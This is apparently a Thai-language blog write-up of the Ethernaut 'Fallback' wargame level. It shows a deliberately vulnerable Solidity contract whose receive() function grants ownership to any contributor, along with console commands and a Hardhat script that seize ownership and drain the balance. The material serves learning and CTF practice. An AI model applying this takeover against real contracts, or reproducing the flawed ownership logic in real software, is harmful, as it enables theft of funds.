Ethernaut - Level 1 - Fallback

Published on

เขียนวันที่ : May 21, 2022

ethernaut/01-fallback
Discord

Fallback

Link: Ethernaut : 1. Fallback

จากทีแรกผมตั้งเป้าหมายไว้ว่า จะลองหัดเขียนโดยที่ไม่ดูตัวอย่างเลย ปรากฎว่า จริงๆ มันยากกว่าที่ผมคิดไว้ 🤣 เลยคิดว่า พยายามคิดระดับนึง แล้วก็ดู Solution อื่นๆ และเรียนรู้ไปพร้อมๆกัน น่าจะเป็นวิธีที่ดี และสนุกสำหรับผม มากกว่า

เงื่อนไขสำหรับข้อนี้คือ

  1. ให้เรา claim ownership ของ contract นี้
  2. ทำให้ balance เป็น 0

จากโค๊ดที่ได้มาจากโจทย์

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./openzeppelin-3.2.0/math/SafeMath.sol";

contract Fallback {
    using SafeMath for uint256;
    mapping(address => uint256) public contributions;
    address payable public owner;

    constructor() public {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        owner.transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

Walkthrought

เริ่มทำโจทย์ กด Get new instance และ Confirm transaction ด้วย Metamask จากนั้นก็ทำผ่าน Console บน Browser เลย

  1. Contribute to contract.
await contract.contribute({value:1})
  1. ส่ง transaction เพื่อ trigger fallback function.
sendTransaction({ to: contract.address, value: 1 })
  1. เช็ค owner
await contract.owner()
  1. withdraw
await contract.withdraw()
  1. เช็ค balance เพื่อยืนยันว่าเหลือ 0 แล้ว
await getBalance(instance)

// หรือแบบนี้ก็ได้เหมือนกัน
await getBalance(contract.address)

🎉 Done เรียบร้อย ผ่านด่านแล้ว

Hardhat

ทีนี้ผมอยากเรียนรู้มากขึ้น ก็เลยมาเขียนเป็น contract รันบน local ด้วย Hardhat จะได้เผื่อเข้าใจมากขึ้น

ตัวอย่างโค๊ดเป็น compiler v0.6 แต่สิ่งที่ผมใช้ปัจจุบันคือ v0.8.x ซึ่งมันก็มี breaking changes พอสมควร (หลายๆ ครั้งผมมักเจอโค๊ดเก่าๆ ก็ทำให้ได้เรียนรู้ตลอด)

  • address payable - ไม่มีแล้ว ถ้าจะ convert ให้ใช้ payable(address) แทน
  • SafeMath เป็น built-in มาใน Solidity แล้ว
  • พวก visibility specifier ต่างๆ ที่ Text Editor มัน warning เช่น Constructore ไม่ต้องมี public (เพราะ public มันไม่มีผลกับ constructor)

จากนั้น ผมก็แปลง Fallback เป็นเวอร์ชั่น 0.8.x ครับ ได้แบบนี้

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract FallbackV2 {
    mapping(address => uint256) public contributions;
    address payable public owner;

    constructor() {
        owner = payable(msg.sender);
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = payable(msg.sender);
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        owner.transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = payable(msg.sender);
    }
}

ไฟล์ scripts ที่ได้ก็จะเป็นแบบนี้

scripts/01-fallback-v2.ts
import assert from 'assert';
import { ethers } from 'hardhat';

const main = async () => {
  const ContractFactory = await ethers.getContractFactory('FallbackV2');
  const contract = await ContractFactory.deploy();

  await contract.deployed();

  console.log('Contract deployed to:', contract.address);

  const [owner, attacker] = await ethers.getSigners();
  console.log(`Owner address : ${owner.address}`);
  console.log(`Attacker address ${attacker.address}`);

  // 1. Send some ether to contribute()
  await contract.connect(attacker).contribute({ value: 1 });

  // 2. Send transaction the fallback function will make attacker the owner.
  // Fallback function - https://www.geeksforgeeks.org/solidity-fall-back-function/
  await attacker.sendTransaction({
    to: contract.address,
    value: ethers.utils.parseUnits('1', 'wei')
  });

  // 3. Check the owner
  const contractOwner = await contract.owner();
  assert(contractOwner === attacker.address, 'isOwner?');

  // 4. Make withdraw to take all money
  const tx = await contract.connect(attacker).withdraw();
  tx.wait();

  // 5. Verify contract balance is 0
  const balance = await contract.provider.getBalance(contract.address);
  assert(balance.toString() === '0', 'Balance is empty');
  console.log(`Total balance : ${balance}`);
};

main().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

ทดสอบรัน script

npx hardhat run scripts/01-fallback-v2.ts

สิ่งที่ได้เรียนรู้จากบทเรียนนี้

  • วิธีการส่ง ether ด้วยการเชื่อม ABI กับ Client Library (Ethers.js)
  • ใช้ utils function เช่น convert wei -> ether หรือหน่วยอื่นๆ
  • เรียนรู้ Fallback methods
  • ตัว SafeMath เป็น built-in ของ Solidity ตั้งแต่ version 0.8.0

สุดท้าย Source Code ครับ อยู่ใน folder /ethernaut/01-Fallback มีไฟล์ Contracts, scripts และไฟล์ tests

Discord